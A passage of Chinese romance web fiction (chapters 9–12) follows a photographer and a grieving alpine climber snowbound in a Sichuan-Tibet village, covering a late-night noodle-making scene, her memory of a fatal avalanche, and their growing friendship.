雪依然未停,顺着敞开的领口灌进脖子,很快就打湿了羊毛衫的领口,贴在皮肤上又湿又渗。但他像感受不到一样,迎风眯着眼,在茫茫天地中去寻那一抹身影。
被小杜误会是情侣,徐汀云费尽口舌解释清楚了,但与此同时他意识到很多行为或许真的有些……引人误会,或是说越界。故而吃饭时,他按耐住想为她补充说明的习惯,全程沉默不言。
奔跑的步伐放缓,然后停了下来。
华松栩正背对着他坐在一堵废弃的院墙上,一手撑在身侧,一手夹着烟,身体重心倾的厉害。这是个大剌剌的坐姿,看起来轻松写意。徐汀云偏偏觉得她难过。
她是一座生人勿进的冰山,身上有一层坚不可摧的壳,藏着他猜不透的故事。但他,鬼使神差,想和她聊会被聊死的天,想打破她的落寞,想再听她神采飞扬地冲他说一句“谢谢你,人间挖掘机”。
于是徐汀云掸掸领口的雪,戴上帽子,手臂一撑飞身而上,在她身旁坐定,“一个人抽烟多没意思。加我一个,算作空气净化器。”
华松栩猜到了徐汀云为什么刚才如此沉默,也完全理解。她对自己认知清晰,不想影响他别人的兴致,所以提前出来。这一年,她离开了熟悉的圈子,孤身一人藏在城市里,让本来就不擅长的表达技能雪上加霜。
但她没猜到徐汀云会追出来,于是掐了烟,“我还是有公德心的。”
徐汀云冲她伸手,掌心向上。
华松栩不解。
下一秒,徐汀云接了她抽过的烟,揣进自己兜里。
华松栩微怔,随后指尖蜷缩,“你……”
徐汀云没事人一样晃悠两条长腿,“抽烟赏雪,确实比啃牦牛肉有意境嗷?”
“我赏的不是雪。”
“赏的是孤单寂寞?”
华松栩一寸寸侧首,眼里闪烁着危险的光,“孤单、寂寞?”
徐汀云朗声笑了起来,“没事,我的加入已经破坏了你孤单寂寞的氛围,现在是……”
“是什么?”
“是革命战友的惺惺相惜。”
华松栩勉为其难地表示同意了,“但我还是不会教你。”
“什么?攀冰吗?”
“嗯。”
徐汀云重心后仰对天长叹,“我到怀远村的时候,登协的攀冰训练营刚结束。好不容易遇到一个大佬,又不肯教。这都是命啊!”
华松栩有点想笑,但又笑不出来,“你一京大的博士,平时读读书,闲了进山徒步拍拍照,就挺好。其他,真没必要。”
徐汀云点头,“是挺好。教书育人挺好,行医救人挺好,读博工作挺好。但选择一条路的原因,不可能是简单的——‘它挺好’。”
“那你的原因又是什么?”
“嗯……直觉?”
“直觉?”
“直觉,攀冰是我人生必须做的事情之一。”徐汀云笑了,“雪山攀登也是。”
“你真想好了?”八年前,罗丰背对攀岩馆的难度墙苦口婆心,“雪山攀登可和徒步是两码事。”
华松栩满手都是镁粉,用手腕将碎发往耳后蹭了蹭,“这有什么需要想的。”
罗丰气急,“你知不知道极限运动是会死人的!商业攀登都有人出事,更别提阿式攀登!你有没有概念!”
“我知道啊,但我就觉得得做,辍学也得做。”
“……你从哪觉得?”
年轻的华松栩说:“直觉。”
八年后的华松栩说:“直觉能成就一个人,也能杀死一个人。”
徐汀云薄唇微抿,“我认同。”
华松栩本能抽出烟盒,这才想起旁边还有个人,“那个……”
徐汀云比了个请的手势,“我不介意。”
烟雾很快就被风雪吹散了,她的声音也是。
“我见过很多走上这条路的人。大多数都是世俗意义上的失败者。肆业的、辍学的、离婚的,无外乎,在日常的生活中无论怎么努力都找不到出路,于是走向山野追寻另一种自由。”
“但自由是个伪命题,任何概念都是相对的。如果没有束缚,也无外乎自由。正是因为带着镣铐,才会谈论自由。”
徐汀云说:“我不在乎自由与否。我想的很简单,既然喜欢既然热爱,那
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就去做。仅此而已。”
华松栩咬着烟,笑了,“那你的热爱又缘何而来?”
徐汀云想了想,却不知从何说起。
“我替你说。”华松栩倾身而去,吐出的烟圈落在他的耳廓,“生活有时候格外痛苦,在痛得好像活不下去的时候,突然发现有一个平行世界。于是你一头扎进山野,接受自然馈赠,享受身体疲累和物资贫瘠,人与人之间的关系随着生存游戏变得紧密。”
徐汀云倏然回头,对上了那双冷淡戏谑的眸子。他们离得极近,近得能嗅到她身上淡淡的烟草香。和冷空气混在一起,清冽又不失野性。
华松栩夹着烟的手握住他的手腕,以一个不容拒绝的姿势继续说道:“你全身心体会活着这两个字的感觉,你为自己完成挑战而欢呼雀跃,你为遇到所谓的朋友而惺惺相惜。”
“然而很快,梦醒了。你发现你获得的一切都是限定版。回到日常生活,所谓的成就感被现实一击即破,所谓的朋友你根本不知道他现实中的任何信息。”
“真实和梦境的落差,让你再也无法拒绝山野的召唤。你称之为热爱,我称之为逃亡。”
徐汀云像是被泼了一盆冷水,湿淋淋,却又极度清醒。他抽出自己的手腕,甩了甩,“人和人想法不同,没有孰是孰非。你的热爱或许不纯粹,不代表别人也是。”
华松栩轻缓地坐回去,“谁?你女神?”
徐汀云说:“是。”
他说,阿栩两次挑战幺妹峰成功后写过一段话,“为什么要做如此危险、付出回报如此不成正比的事情?幺妹峰早已不是首登,无论是丧命于此还是站在那迤逦的山尖,又有什么不同?事实上,我根本没想过这个问题,也永远不会去想这个问题。无论站在海拔为0的海平面,还是6250的山顶,每个人的感受都是不同的。山永远在那里,所以只要你去爬,就会感受到山的回馈。而这,就是一批又一批人们义无反顾前行的原因。”
他还说,阿栩也劝大家谨慎走上这条路,因为每个人身上承担的社会责任——父母、子女、家庭,这份责任不容许有意外发生。但她从来没有质疑过任何一个人对这项运动的热爱和向往。
徐汀云认真地说:“那么多登山运动员历经生死依然初心不改。你可以不欣赏,但不能诋毁他们的勇气。”
“诋毁?”华松栩轻嗤,“你女神那么勇敢那么热爱,怎么就销声匿迹了呢?”
“我——”
“她和我一样,都是逃兵,仅此而已。”
说完最后一句,华松栩兀自跳下矮墙,却被深雪里藏着的石头垫了脚。徐汀云眼疾手快扶了一把,却被她头也不回地挣脱开了。
“谢谢你,陪我聊天。”
一直到她身上的宝蓝色冲锋衣彻底被风雪隐去,徐汀云还保持着方才的姿势,望着她一直看着的方向,旁边是她那根未熄灭的烟。
如果此刻是晴天的话,罗普峰壮美的山体应该是清晰可见的。然而暴雪残忍地掩去了它的真容,连带似有若无的轮廓都变得阴森可怖。
9. 失眠的夜 “罗普峰,美吧?”
“罗普峰,美吧?”
华松栩向次仁向导手指的方向看去,瞬间,连呼吸都忘了。
那是罗普峰的北壁。岩壁陡峭而光滑,青灰色纹路沿山体扩散,和落有积雪的一道道岩缝交织,渲染了一副鬼斧神工的画卷。水蓝的底色映衬着的顶峰,似削铁如泥的惊世宝剑直冲云霄,秀丽中藏着杀机,巍峨中蕴着残忍。
这是一座另所有登山者魂牵梦萦的未登峰。它足够美,足够险,足够难,也足够高,真爬下来甚至能冲一冲金冰镐奖。
罗丰和她并肩,“不输幺妹吧?”
华松栩笑了,“罗普峰,罗丰。从名字看,注定你首登!”
在这种灵魂血液的激动震颤中,他们继续前行。这次来主要为了踩点,研究线路,为两个月后正式攀登做前期准备。
次仁说:“翻过前面的山脊,就很近了。”
然而当穿过雪线站在山脊之上,华松栩蹙眉,“看那一片凸起,有风险啊!”
有四种常见的雪崩高发地形,其中一种就是雪坡凸起。积雪因地形形成弧面堆积形成张力,内部很可能存在肉眼无法看到的断裂。
罗丰仔细观察少顷,“概率不大,没事。”
华松栩脸色变了,“丰哥——”
这时,次仁说:“最近没下雪,我走了好几次了。不会有雪崩的。”
罗丰取掉雪镜,露出黝黑的面庞和映照罗普峰倒影的坚毅黑眸,“后天就有降雪,再开山估计要二月份了。今天踩完点,咱回去好好准备。”
华松栩松动了些,但还是顾念着这地形,“但丰哥,这看着真挺危险的。”
罗丰像过去无数次一般拍了拍她的脑袋,“相信丰哥,快速通过吧。”
像过去无数次一般,华松栩相信了。
当三人走到正中间时,雪崩发生了。
积雪断裂出一道血盆大口,以势不可挡的速度抵达他们面前。雪是固态的,但雪崩不是。滔天雪浪飞起,遮住了万里晴空。
眼前一片灰白的华松栩听见自己喊丰哥,随即冰冷的雪冲进口鼻腔。
她本能地伸手去抓,抓住了一只温暖有力的手。
是罗丰!
然而,在她用力去拉的瞬间,巨大的冲力让她失去了重心。眼看要一头栽下去时,那只手狠狠一推——
华松栩倏然睁眼,入目是木质结构的天花板,和忘记关掉的还在闪烁的老式电棒。
又做梦了。
女人双目空洞毫无生气,静止得像一尊无知无觉的雕塑。良久,她缓缓爬了起来,将头埋在双膝之间,于喘息中喃喃道:“为什么我没死?为什么——死的不是我呢?”
半合的窗帘外,是毫无光源的、彻底的黑暗。这里没有彻夜长明的路灯,没有高楼反射的光污染,这里还保留着地球最原始的面目,那是生存游戏的野性和残酷。
一墙之隔,房间里安静如斯。
但是……夜里有人相爱,有人看海,有人翻来覆去却想不明白。
方木忍无可忍,起身,开灯,戴眼镜,“你烙煎饼呢?”
徐汀云头枕双臂,忧郁叹气,“不好意思啊,但我真是睡不着觉。”
“不是徐哥,你和隔壁那位到底怎么了?”
“你这个问题是怎么回事?”徐汀云嗖地坐了起来,神情严肃,“我睡不着觉,和她有什么关系?你可不敢胡说。”
方木瘫着满是困意的脸,“那你说,是怎么回事?”
徐汀云欲言又止,又欲言又止。在某人死亡凝视中,终于灵光一现,“是这样的。我有个战……哥们,有个哥们。他对谁都很冷漠,唯独对我信赖有加,还经常和我——给我打电话。”
对,打电话。
“……So?”
“So,他给我掏心窝说了真心话,特真,比真金白银都真。但是吧,和我的想法不一样,特别不健康,你说怎么办?”徐汀云两手一摊,“我实话实说吧,会伤害他的感受。但如果不说——那又实在是不健康!”
小徐难得很,难得都失眠了。
方木眨了眨眼,翻身,躺下,关灯,一气呵成。
小徐傻了,“哎哥们!你帮帮我呗!”
方木用靠枕压在耳朵上形成完美的声音隔离,“你直接把自己掰弯送上门吧!”
“啊???”徐汀云呆滞,“误会!不是那种想法,是心灵上的、对人生的哲学认知,你懂?”
“我不懂!”方木怒吼,“求求你了,让我睡吧!孩子两天没合眼了!”
这是来自一个重度小说上瘾且必须一口气看完的男青年最后的呐喊,徐汀云势必得尊重。五分钟后,他轻手轻脚地带上门,往前厅去了。
客栈是半包围构造,中间是前厅,办理入住并供往来旅游休息,客房在右边的独栋,左手边则是厨房餐厅。徐汀云原打算在前厅的榻上凑活一晚,然而一下楼,就看到厨房亮着烛光,还有个鬼鬼祟祟的身影。
徐汀云来劲了。这失眠的夜,正适合找点紧张刺激的事情来做。
他狗狗祟祟猫着腰,快步绕过庭院来到窗下,悄咪咪一探头——
和正对窗户的华松栩打了个照面。
徐汀云:……
华松栩:……
徐汀云难以置信,“大半夜你在干什么?”
华松栩把自己的手拔出来,举起,“看不出来吗?在和面。”
两只手被丝状的面絮包裹,活像自由生长的海草,也像触电了的海草。
徐汀云三两步绕进屋,看了眼盆里硕大的看不出形态的面,又看了眼她身后架上炉子的锅,有一瞬间怀疑自己在做梦,“嗯……所以,你,为什么要大半夜,偷偷和面?”
华松栩把两只手塞回去,努力搅拌不停歇,“饿了。”
“饿了难道不是煮泡面更快吗?”
“因为,我本人不吃泡面。”华松栩说,“现在,您可以回去睡觉了吗?”
华松栩此刻正心烦着呢。她梦醒看了眼手机,发现今天是罗丰的生日。没赶上忌日,生日做一碗长寿面也算尽一尽哀思。但她忘记了,自己的烹饪天赋仅限户外。
徐汀云说:“谢谢关心,我睡不着……以及,你真的在做面条吗?难道不是做水泥糊墙
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吗?”
华松栩石化,并狠狠发送一记眼刀。
许是因为此刻夜深人静,许是因为整个房间里只有烛火晃动,许是因为此刻太有生活气息,徐汀云觉得她那锋利的棱角都柔和了,万年冰山融化了一角,连带着心底发软。麻酥酥的软。
他拖过椅子反坐,拖着下巴看她,“水太多面太少,再倒点面粉。”
华松栩面露狐疑,“真的?你会和面?”
徐汀云笑了,“你怎么能质疑一个北方人的和面水平呢?相信小徐,你买不了吃亏买不了上当。”
华松栩思考了下,罗丰是北方人就很会和面,觉得甚为合理,遂提起面粉袋一倒。
“哎——”徐汀云制止不及,眼睁睁看着面糊上覆盖了一层一厘米厚的面粉,只得无奈扶额。
华松栩眨眼,“太多了?”
徐汀云大手一挥,“加水!我来加!”
“哦……”
小徐摇身一变成为伟岸的和面老师,华松栩则降级为虚心且听话的学生。
“均匀一点。”
“好的。”
“对叠,用力揉……对,换个方向重复。”
“好的。”
不知何时,小徐老师看的不再是盆里的面,而是学生白净的侧颜。他觉得小狮子顺毛的样子,好乖。
华松栩历尽千辛万苦,终于把所有面粉聚集成团。虽然坑坑洼洼距离终点还很遥远,但起码形态上有了质的飞跃。她本人满意了,于是问敬业徐老师满意否,结果徐老师不说话。
“嗯?”华松栩抬头,对上了一双深邃的眼。
徐汀云一下就哑了,京大博士他词穷了,脑子又追不上嘴了,“你睡不睡?”
华松栩面无表情,但很震惊,“……啊?”
“不是不是,我意思你困不困……这不,都都挺晚的了,哈哈!”
“谢谢,不困,你困了就回吧啊!”
徐汀云一灵性,“不,我不困。我……我饿。”
华松栩那双杏眸睁得更大了,“你,难道也要吃面?”
“啊,不能吃吗?”
华松栩懂了。他这么用心的教她,是为了蹭一口面吃。她比划了下面团的大小,点头,“能。”
徐汀云再次拿起徐老师的架子,“那就加把劲,和光滑一点,我给咱做扯面。”
食物总是那么单纯无辜,做食物总能拉近人与人的距离。
徐汀云情不自禁地说出了憋一晚上的话,“中午不好意思啊,我不该盲目评价的。”
华松栩感受着掌心的柔软,低低应了一声。
说到这,想到这,她又有点憋闷。于是望了男人一眼,见他眉目含笑温柔得很,遂决定使唤他一下,“我烟盒和火机在外套口袋,帮我点根烟。”
徐汀云没多想,等生疏地把烟点着走到她面前时,不知所措了。人家两手都是面,烟是点了,但怎么抽?
“抬手。”华松栩说。
他应道:“哦。”
华松栩凑了过来,就着徐汀云的手咬住烟尾。徐汀云手一抖,掌心擦过华松栩的唇。
10. 那个朋友
两人不约而同僵了一下,但还是吃过的米走过的路比较多那位冷静得快些。
华松栩松掉烟,后退半步,“咳……要不你来和面?”
“哦好的。”徐汀云把烟放在桌角,开始脱外套,卷袖子,洗手。似乎有条不紊,但仔细看能发现他不断滑动的喉结,以及烛火映照下从耳廓到侧颈的红。
华松栩用沾满面粉的手夹起燃了一半的烟,眯眼去看那抹嫣红。啧,小徐细皮嫩肉,每次连害羞都那么显眼,让人看着就想欺负。
徐汀云感觉自己背上凭空被盯出两个洞,掌心的灼热冲了凉水也没冷却,反而有扩散的趋势。啊,这位甩棍不离身的拽姐,应该已经想好要把他埋在哪了。
他挺紧张的,不是害怕,是……隐隐有点期待。
冒出这一想法的瞬间,小徐傻了。他不会是受虐狂吧?!
“会做酸汤面吗?”
“啊?”徐汀云原地旋转180度,结实的小臂还挂着水珠,有种懵懵的单纯感。
华松栩跨坐在方才徐汀云拉过来的椅子上,手肘撑在椅背上,夹着烟,“酸汤扯面。”
“……会。”
要说最开始华松栩还持怀疑态度的话,到手工扯面步骤已经是心悦诚服了,“你们北方人,都这么会做面食吗?”
徐汀云咧嘴笑,“十有八九吧。”然后笑容就僵在了脸上。
都?什么叫都?都是谁?
华松栩说:“我有个朋友,每逢他自己的生日都要做酸汤面吃,十年如一日雷打不动。”
徐汀云按耐住好奇,“长寿面嘛,你们海城人不吃吗?”
“不知道别人,我从小都没吃过。”
徐汀云问:“所以今天是你的生日吗?”
华松栩把熄灭的烟头扔进垃圾桶,“不是,朋友的。”
“啊,因为下雪被困在这走不了,所以千里共长寿面,遥遥相贺一下?”
“不。”华松栩说,“因为他死了。”
说出这句话时,她极度平静。但只有她自己知道,冰封的湖面下是垂死挣扎的巨浪滔天。
如她所料,徐汀云愣住了,彻底石化的那种,手里那根正在通过摔打延长的面条“啪”的一声断了。他回神,把两截面重新揉在一起,冷不丁说:“我哥哥生日的时候我也给他做长寿面。他也死了。”
屋外风雪已停,是凌晨三点的万籁俱寂。在这一方小小的厨房里,两人一立一坐的身影映在有着蓝绿相间彩绘的墙上,随着即将熄灭的烛光晃动而晃动。于无声处,心跳砰砰作响。
华松栩望进深邃的黑眸之中,第一次看到徐汀云阳光的外表下藏匿的阴影。
两人不约而同,扑哧一笑,凝滞的空气重新流动起来。
华松栩双臂再次搭在椅背上,下巴又搭在手臂上,“有你哥哥严选,我朋友肯定会喜欢你做的面。”
徐汀云翘起唇角,“你替你朋友尝尝,如果不满意,有三次重新发货的机会。”
“三次,这么多?”
“那是,良心商家小徐。”
当然,这番担忧实属没必要。因为华松栩才吃掉第一口,眼睛就亮了。
素白的面上是整齐码好的葱花,只放了醋和盐的汤呈淡褐色,看起来清淡可口,吃起来筋道有嚼劲,绝对是夜宵的上佳选项。
她捧着碗,一连喝了好几口热气腾腾的酸汤,终于摆脱了噩梦带来的抽离,有了此时此刻还活着的现实感。
徐汀云不着痕迹地收回视线,嘴角又不值钱地翘老高,“徐大厨的水准如何?”
华松栩斜睨他,“自己都说大厨,还叫别人怎么夸?”
徐汀云三两口就吃下去半碗,囫囵吞咽下,掐着嗓子说:“你说‘徐大厨,我还想吃,明天能不能再给我做一次’,这么夸就行。”
华松栩失笑,“得了,一张照片一千,一碗面还不知道得多钱。”
那张绿绒蒿的照片,此刻就在她的冲锋衣内侧拉链里。她的冲锋衣,此刻和徐汀云的冲锋衣一并挂在身后的椅背上。而她,坐着这间屋子唯一的一把椅子。
在她对面,徐汀云只能蹲在灶台边嗦面,吃着吃着还不忘换下重心,“我又没跟你要钱,战友情千金不换!”
闻言,华松栩放下碗,揉搓着指尖,“徐汀云。”
“嗯……嗯?”第一次被叫全名,徐汀云被吓了一跳,差点把自己噎着,“咳咳——怎么了,搞这么严肃?”
“白天说的那些,你听过去就算了。”华松栩说,“你我经历不同,想法不同,都很正常。”
徐汀云也放下筷子,“嗯,没事,能理解。”
“理解不了吧?”华松栩眯眼,“否则怎么深更半夜不睡觉,跑来厨房抓贼呢?”
徐汀云抓抓下巴,有点尴尬。
“雪山攀登没有翼装飞行的冲击力,也没有冲浪那种肾上腺素瞬间爆棚的刺激,但它是一项极限运动,死亡率很高的极限运动。我希望走上这条路的人,能够真正想清楚,而不是盲目的热情。”
这时,支撑已久的蜡烛燃尽最后一点躯体,扑腾了几下,灭了。四下一片漆黑,只有淡薄的月色透过窗,描摹着对方的轮廓。
华松栩站了起来,姿态是居高临下的,但语气中染了一抹极难察觉的哀求,“不要对任何人,抱有太多太纯粹的希望。她很可能,没有你想象中的那么好。”
徐汀云也站了起来,走近几步,又似顾忌着什么而驻足,“也许就像你说的,她停更退圈逃跑。但不管现在是什么样,曾经的她给予我莫大的勇气,这就足够我记她一辈子。我这人轴,想法也简单,见笑了。”
这次,是徐汀云先走的。他迅速洗了锅碗,绅士地说了句晚安,回屋去了。
华松栩身形紧绷如一把弯折的弓,在徐汀云离开后再也控制不住地微微颤抖。这是一条如今她走不下去却又无法回头的路,她害怕这个男人真的傻到因为她,去经历原本不必经历的痛苦。
她在冷白的月色下站了良久。
雪停了,明天将是久违的晴天。
清晨,早餐时间。华松栩到餐厅时,只有方木一人正在狼吞虎咽,抽空摆了下勺子柄算作打招呼。
她取了个馒头,学习徐汀云的方法往里夹了辣
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椒油,尝一口,还不错。
“雪停了。”方木说,“过几天路一通,就能回家了。”
华松栩问:“你怎么回?”
“到县上坐火车吧,安全点。”
华松栩嗯了一声,“我可以送你。”
方木咀嚼的动作停了,眼珠子也不转了,傻了,“送、送我?”
“顺路,我也回。”她慢悠悠喝着鲜奶,盘算着县道和国道疏通的时间。
方木艰难咽吞咽,“姐,真的方便吗?”
“方便,我去县上买东西。”
——买罐装咖啡,许多许多的罐装咖啡。
“那成。”方木还是怕她,小心地说,“谢谢姐。”
“客气。”
本来话题到这就可以结束了,一个继续炫饭一个撑下巴看冬日暖阳情洒在白雪之上,互不干涉,悠闲自得。然而,酷爱男频兄弟文的方木本着为兄弟两肋插刀的心理,主动问:“姐,徐汀云也回呢,他要去蓉城的机场。您能拉上他吗?”
华松栩睨着方木。后者有点怂地缩缩脖子,又强迫自己停止腰杆,“我俩说好一起走来着,我不能抛下他。”
“还挺兄弟情深。”华松栩笑了下,“我考虑考虑。”
华松栩就是有这样的本事。虽然身为万年冰山加聊天终结者,但随便一个笑容就能给人一种——只要我继续努力她就能冰雪消融的错觉。
因此方木大受鼓舞,开始聊二人之间唯一的共同话题。
“你别看徐汀云一天乐呵呵,但其实挺难的。你是不知道他被催稿的时候,凌晨三点的夺命连环call啊!”
“好不容易蹲到月照银山,发了,编辑说不好意思本期主题换了。能咋办呢?只能出去继续拍。总之是鸡飞狗跳,天天进山,连续一周睡了不到十个小时。”
对于《旷野》的工作作风和节奏,华松栩也略有耳闻,“我看他挺喜欢高山摄影师的职业,乐在其中吧。”
“这确实是。”方木点头认可,忽然一想不对啊,说这些是为了卖惨,急忙扯回正题,“而且他和家里的关系也不太好。我进山爹妈天天打电话来问,他一个电话都没接到过。偶尔给家里打,还打不通,是真不容易。”
早上六点入睡的徐汀云在早上九点醒了过来。他看了眼时间,立刻蹦起来穿衣服,卡着早餐供应时间的尾巴冲进餐厅。
彼时,方木正说到激动之处,“姐你知道吗?他还、还——”
华松栩问:“还什么?”
方木一拍大腿,“他为数不多的好友对他有不健康的想法!结果咱徐哥呢?在忍辱负重守护友情、还是果断纠正二者之间左右为难。昨天睡不着觉,大半夜不知跑哪哭去了——”
慷慨激昂的话音刚落,他觉得背后有阴风阵阵,一回头,“徐、徐哥……”
徐汀云顶着一头乱糟糟的鸟窝,脸色活像厉鬼回魂。他轻拍方木的肩膀,“昨晚忘了告诉你,我那朋友是个女的。”
“女的——啊?”
华松栩波澜不惊地抿了口已经温凉的奶,“那个朋友是我。以及,他昨晚跟我在一起。”
11. 中二少年
“我觉得你俩在玩一种很新的play。”方木说。
徐汀云终于向睡饱的男青年把事情解释清楚,当然隐去了一些不好描述引人遐想的片段。
“总而言之,不是感情纠葛,只是朋友之间精神的碰撞。昨晚也是失眠聊天而已。”他严肃点头。
方木问:“我有句话不知道当讲不当讲?”
徐汀云大手一挥,“请讲。”
“你连那位姐姐全名是什么都不知道,怎么就是朋友了?”
“……”
被一语惊醒的梦中人沉默了。
方木勾勾手,“来,哥教你个办法。”
徐汀云挣扎三秒后,把脑袋凑了过去。
怀远村地处川藏高原,这个季节平均气温不过零下十度左右,积雪自是不会像城市里那样,经众人踩踏后变成一团坚硬的冰,或是溶成一滩泥水。即使今日万里晴空,天地万物澄澈明净,目之所及依旧是苍莽而悲壮的。
不过出了太阳,对人类格外友好。村里的驴友出来看雪景拍风景照,本地藏胞们走家串巷笑声阵阵,连牦牛都来了兴致,三三两两在路上慢吞吞地走着。
在这样的好天气,华松栩吃过早饭,拎着铲子就挖车去了。经过上次徐汀云的帮助,她终于记住了车的位置,卸掉了川西好人的桂冠。她对着硕大的雪包挖了许久,期间停车场的人越来越多,自然都是来紧急拯救爱车的。
一个人挖很痛苦,一群人挖就快乐了,因为自己痛苦的时候还能看到别人痛苦。
斜对面的车主是班长,因为挖一铲子发出一声“嘿”,再挖一铲子发出一声“咻”,特有规律。华松栩就跟着他的口号挖。
隔壁的隔壁那位藏族小哥是人形音响,因为体力好耐力好,挖得快,还能唱歌。华松栩听不懂藏语,但挺喜欢曲调。
还有一对情侣是气氛组,因为女生坐在一边,一直在喊“老公你是最棒的”“老公你可以的”。挺有感染力。
徐汀云找了一圈终于找来的时候,就看到了这么一副“群魔乱舞”的场景。
他眼角抽了抽,“我仿佛乱入了夜店蹦迪现场,人人在舞池挖雪的那种club……”
华松栩出了身薄汗,这会冲锋衣绑在腰间,羽绒也拉开了一半,从额头到脸颊都染上淡淡的粉。她把铲子递过去,“你来挖会,累死了。”
徐汀云麻溜接手,边挖边觉得这场景似曾相识,“哎不对,这是你的车,怎么使唤我挖呢?还挖了两次。”
华松栩往自己挖出来的雪坡上爬,走得晃悠悠的,徐汀云忍不住提醒,“嗳!你慢点,别又——”
又什么他紧急憋了回去,因为他又想到了某个场景。
华松栩寻了个地方,拍拍裤子席地而坐,“不是说革命战友情无价吗?还是你想要高额劳务费用?”
徐汀云装模作样的想了一阵,很勉强地用鼻音说:“嗯,钱就算了吧,但这友情咱得说道说道。”
“说什么?”
“说一说友情的概念。”
沉默少顷,华松栩说:“哦,原来你博士读的是哲学。佩服。”
徐汀云哭笑不得,“不是,你别打岔。”
“嗯好,你说。”毕竟劳工还在干活,雇主没给钱,至少得给予人道主义的体恤。华松栩摆出侧耳倾听状。
“你看,咱俩认识也有一周了吧?在加油站你那么冷漠的怼我,误会我是色狼用甩棍揍我,我都没生气,还主动给你看我的身份信息,是不是很真诚?”
华松栩手里搓了个雪球,边搓边点头,“是,很真诚。”
徐汀云眼睛一亮,又急忙敛住神色,“然后你雇我进山,我尽心尽力,还有良好的职业道德,遇到意外状况全额退款。是不是很够意思?”
华松栩把第一个雪球放在身边,开始搓第二个,“是,够意思。”
徐汀云又说:“我帮你挖车,两次。给你扯面,带你吃好吃的,还送你我特喜欢都舍不得给人的照片,是不是很贴心?”
华松栩终于忍无可忍,啪唧捏碎了手里的第三个雪球,“铺垫挺多,请说正题。”
“就……”徐汀云又不好意思上了,“咱俩都是这么熟了是吧,还都是户外圈的人,不如留个联系方式?”
华松栩:……有病,拐弯抹角的病。
在徐汀云含蓄的表达催促的眼神中,她扶额,“我手机没电,房间里扔着呢。”
小徐嗖一下掏出了自己的手机,“你说,我记。”
虽然头一回见这么邀功的,但说的也句句在理。挺好一男孩,也帮了她不少,确实该留。于是华松栩也不扭捏,吐出了一串数字,“给我发个短信,等我开机了存。”
徐汀云十指纷飞记下,然后卡顿,“内个——”
“内个是哪个,别婆婆妈妈。”
下一秒,徐汀云把手机塞进了她的掌心,“你看,你知道我叫什么,但我不知道你叫什么,都不知道怎么备注。你来填一下呗!”
他把手藏到背后,擦了擦掌心的汗,很是满意。很好,非常合理,非常自然,完全符合逻辑。
华松栩对着那空白的联系人姓名一栏,眯眼,勾唇,毫不犹豫地填了下去,“给。”
她也歇够了,抄起铲子继续干活。小样,还跟她玩这一套?
徐汀云一脸期待地接过来,看到“革命战友”四个冷冰冰的字后,眼里的光终于灭了,“哎,你也太不够意思了吧?都这么熟了,还保持神秘感呢?”
“……”
“嗳!嗳——问你呢!”
华松栩寻思你说不准都怀疑上我的马甲了,能不保持神秘吗,遂沉默应对。
她继续挖呀挖,眼看两个车轱辘要露出来了——
“啪!”一个雪球精准砸在她的手臂,粉雪飘扬开来,顺着风灌进了敞开的衣领,也呼了她满满一脸。
华松栩寸寸回眸,肇事人正一手颠着一捧雪,示威似的,“嗳,为什么不告诉我你的名字?”
她冷声问:“你有中二病是不是?”
还为什么不告诉我你的名字?这什么古早偶像剧台词?
“你说,说了我就不砸。”徐汀云也不顾什么委婉了,小徐掀桌子了,他就是要知道。
华松栩
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扬起铲子,“你再砸一下试试?”
“啪!”又一捧稳稳击中她的肚子。
华松栩深吸一口气,又深呼一口气,“你过来,过来我就告诉你。”
徐汀云盯着铲子铸铁那一端散发的幽幽冷光,摇头,“不,你过来。”
华松栩扔掉铲子过去了,只是在爬雪坑的时候梅开二度脚下一歪,趁徐汀云扶她的时候弯腰抓了一捧雪,反手灌进了他的后颈罢了。徐汀云冰得嗷嗷叫,举双手投降,此次雪仗以华松栩压倒性胜利结束。
两人又费了半小时的功夫清理完积雪,一个一身汗难受得慌,一个背上的积雪融化黏得慌,回到客栈后不约而同冲进屋里洗热水澡。木质结构隔音不好,听着隔壁的水声,华松栩情不自禁勾了勾唇。
幼稚鬼,活该。
洗完澡出来,华松栩边擦头发,边找出手机充上电。这一年她社交几乎为零,微信短信不看,电话会接。但经常十天半个月才接到一通电话,还是快递小哥。所以后来,手机时常不知道被丢到哪里去了。
吹干头发的功夫,手机开机,她划拉了下未接来电,在一众“父”中看到了“周耀”的名字,稍作犹豫后回拨了过去。
对面接得很快,熟悉的男声从听筒中传来,“终于开机了阿栩!”
“嗯,给我打电话有事?”
“没事,就看看你最近过得怎么样。还在海城呢?”
华松栩拉开窗帘,雪后的罗普峰清晰可见,“我在怀远村。”
周耀嗓音淡了些,“你去看丰哥了。”
“嗯,来看,但没看成。遇到一失温驴友,就直接下山了。”
“冬天去不安全,丰哥肯定也不想你这时候去。等开春了,哥几个和你一起去。”
华松栩自嘲一笑,“其实,就算去了也没用。他指不定埋在哪一片冰川呢,我找都找不见。”
“阿栩。”周耀艰难道,“你尽力了,咱们都尽力了。丰哥这么爱雪山,把他留在那他反而高兴。”
她最后看了一眼,拉上窗帘。时隔一年,罗普峰巍峨依旧,和去年来没有丝毫的变化,腐朽的只有凡人而已,“不管高兴还是不高兴,都只能留在那了。如果以后能被发现,也就像中日联合登山队那场梅里雪山山难,只能靠验DNA识别身份了。”
周耀又劝了华松栩一阵,但她一个字都听不进去,只记得最后他说自己在蓉城,出山了见一面。她说好,再见。
挂了电话,华松栩和衣而卧,盯着虚空中的一点,祈求睡意尽快来临。遗憾的是她此刻清醒到能回忆起雪崩来临时那一刻的场景,能看到自己在雪坡上拼命奔跑的每一分每一秒。
那一天太漫长了,漫长到横跨一整年,当事人还被困在原地。她不敢大喊,因为声音会再次诱发雪崩,所以只能隐忍啜泣,直到无休止的绝望来临。
掌心的手机忽然震动起来。
华松栩举到眼前,看到了一串陌生的号码,京市的号码。她按下接听键,阳光雀跃的男声驱散了室内的阴郁,“亲爱的战友,赶紧收拾东西门口见。我知道一个地儿,贼好,咱们去追日落金山!”
12. 日落金山
华松栩走在没有尽头的雪后小路,身后两列脚印一疏一密,身前一人扛着长枪短炮雄赳赳气昂昂,颇有些小学生班长带队春游的感觉。
徐汀云走着走着,还不忘回头挥手,“快快快,腿迈起来!”
华松栩把雪套系紧了些,加快步伐,“您这是去加班,特意拉我当壮丁呢?”
“是不是很敬业?作为回报,给你——背景是日落金山的长焦写真怎么样?”
“婉拒。”
“一千一张还要排队的摄影师专职服务,就一点都不心动?”
“不动。”
“那我在附加一点别的服——”
“闭嘴。”
“……哦。”
他们像第一次徒步一般保持沉默,肩并肩走着。
